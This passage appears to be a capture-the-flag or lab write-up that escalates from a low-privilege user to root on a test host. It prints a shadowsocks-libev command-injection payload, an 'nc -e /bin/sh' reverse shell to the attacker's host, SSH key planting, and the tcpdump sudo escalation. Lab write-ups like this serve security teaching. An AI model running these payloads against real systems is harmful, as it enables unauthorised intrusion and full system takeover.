- There's wordpress somewhere... and it includes woocommerce
/usr/share/wordpress/wp-content/plugins/woocommerce/assets/js/frontend/lost-password.js
Hmm here's something interesting...
$ ps -aux | grep root
...
root 811 0.0 0.1 301464 4540 ? S 15:39 0:00 su fireman -c /usr/local/bin/ss-manager
...
[nodeadmin@localhost uploads]$ ls -al /usr/local/bin/ss-manager
-rwxr-xr-x 1 root root 380064 Jun 1 2018 /usr/local/bin/ss-manager
SS-MANAGER(1) Shadowsocks-libev Manual SS-MANAGER(1)
NAME
ss-manager - ss-server controller for multi-user management and traffic statistics
SYNOPSIS
ss-manager [-AuUv] [-h|--help] [-s <server_host>] [-p <server_port>] [-l <local_port>] [-k <password>] [-m <encrypt_method>] [-f <pid_file>] [-t <timeout>]
[-c <config_file>] [-i <interface>] [-b <local_addr>] [-a <user_name>] [--manager-address <path_to_unix_domain>] [--executable <path_to_server_executable>]
[--fast-open] [--reuse-port] [--plugin <plugin_name>] [--plugin-opts <plugin_options>]
DESCRIPTION
Shadowsocks-libev is a lightweight and secure socks5 proxy. It is a port of the original shadowsocks created by clowwindy. Shadowsocks-libev is written in
pure C and takes advantage of libev to achieve both high performance and low resource consumption.
Shadowsocks-libev consists of five components. ss-manager(1) is a controller for multi-user management and traffic statistics, using UNIX domain socket to
talk with ss-server(1). Also, it provides a UNIX domain socket or IP based API for other software. About the details of this API, please refer to the
following PROTOCOL section.
OPTIONS
-s <server_host>
Set the server’s hostname or IP.
┌──(kali㉿kali)-[~/.ssh]
└─$ searchsploit ss-manager
Exploits: No Results
Shellcodes: No Results
┌──(kali㉿kali)-[~/.ssh]
└─$ searchsploit shadowsocks
------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------ ---------------------------------
Shadowsocks - Log File Command Exec | linux/local/43007.txt
shadowsocks-libev 3.1.0 - Command E | linux/local/43006.txt
------------------------------------ ---------------------------------
Shellcodes: No Results
Okay it seems like this process should be exploitable? Let's try! Exerpt from the exploit descritpion:
As passed configuration requests are getting executed, the following command
will create file "evil" in /tmp/ on the server:
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||touch
/tmp/evil||"}
Let's try!
[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
ok
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
ok
^C
[nodeadmin@localhost tmp]$ ls
enum systemd-private-3a765a9712e742748aa6994b16188738-chronyd.service-byWK2N
evil systemd-private-3a765a9712e742748aa6994b16188738-rtkit-daemon.service-PVtb8k
f tmp.5UYFu9CQg9
Okay sweet, now we can use this to get onto fireman user!
[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
ok
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 10.10.10.4 6666 ||"}
ok
└─$ nc -lvp 6666
listening on [any] 6666 ...
10.10.10.7: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.7] 58180
id
uid=1002(fireman) gid=1002(fireman) groups=1002(fireman)
cd /home/fireman && mkdir .ssh && echo "Key" > authorized_keys
└─$ ssh fireman@10.10.10.7 130 ⨯
Last failed login: Sun Feb 28 16:00:32 EST 2021 on pts/0
There was 1 failed login attempt since the last successful login.
Last login: Sun Feb 28 15:39:52 2021
[fireman@localhost ~]$ id
uid=1002(fireman) gid=1002(fireman) groups=1002(fireman)
[fireman@localhost ~]$ sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
Okay should be easy, tcpdump I know is on gtfobins
[fireman@localhost ~]$ COMMAND='id'
[fireman@localhost ~]$ TF=$(mktemp)
[fireman@localhost ~]$ echo "$COMMAND" > $TF
[fireman@localhost ~]$ chmod +x $TF
[fireman@localhost ~]$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
0 packets dropped by kernel
uid=0(root) gid=0(root) groups=0(root)
I actually got stuck here for a moment, but I had to actually pop another shell and make some traffic on lo to get it to exit...
[fireman@localhost ~]$ echo 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOWct6VtfWUebAnnE3B3Fzg4Lo/s+exeDied0x1L/aOQuHlx90FaE1b6BzcTa7inViJE+xDF6Q4D/pxxfO5dYt+EptFjQInuXswfeH2mSVQGB6dJAxETRP7u7lrtIgyssu8LjFFsnvYKhB1IcJiYqNoBcisD70Zo8iBMPWLhNshpoOSpxsH1UQsXA2LBF9VYlGqj0/0jE1VJQecPOZp6pjOAdtINLQNy4PCLOvZY0c9034PjEdH2veBVrAEGNHPP+SYOU4nHRhgQKCxXf8MqO62V7mQEsTD8jKcBr8MWlRFxi7rtoSV7kXss+/Aa+GW+DxVCWf9TZ7nHZYp14uDtEukvjamHahx30jkKDNkX9PSPu6fHekkhc3iP0qVYcoQJtvwYxF2W2DucDrtTJ6cxVL/SvrTXtxchcnQono08yVyBJhmsNs3Ax77lp2f1Z384ojruz+SZsueJKYnt5BCZJfuarr/qpLEVnq41tfJrHpRn8aN/8mprn4gO/JrWunC+k= kali@kali" > /root/.ssh/authorized_keys' > $TF
[fireman@localhost ~]$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
0 packets dropped by kernel
└─$ ssh root@10.10.10.7 130 ⨯
Last login: Thu Jun 7 23:14:57 2018 from 192.168.2.15
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
We win!